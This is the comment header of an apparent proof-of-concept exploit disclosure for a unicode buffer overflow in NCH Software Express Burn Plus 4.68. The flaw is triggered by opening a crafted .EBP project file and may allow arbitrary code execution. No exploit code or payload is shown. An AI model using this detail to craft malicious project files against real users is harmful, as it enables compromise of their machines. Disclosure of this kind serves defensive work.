# NCH Software Express Burn Plus 4.68 EBP Project File Handling Buffer Overflow PoC
|
|
#
|
|
#
|
|
# Vendor: NCH Software
|
|
# Product web page: http://www.nchsoftware.com
|
|
# Affected version: 4.68
|
|
#
|
|
# Summary: Express Burn is a program that allows you to create and copy many
|
|
# kinds of disc media, including Audio (audio CDs / .mp3 CDs), Video (DVDs),
|
|
# and Data (CDs / DVDs / Blu-ray).
|
|
#
|
|
# Desc: The vulnerability is caused due to a boundary error in the processing
|
|
# of a project file, which can be exploited to cause a unicode buffer overflow
|
|
# when a user opens e.g. a specially crafted .EBP file. Successful exploitation
|
|
# could allow execution of arbitrary code on the affected machine.
|
|
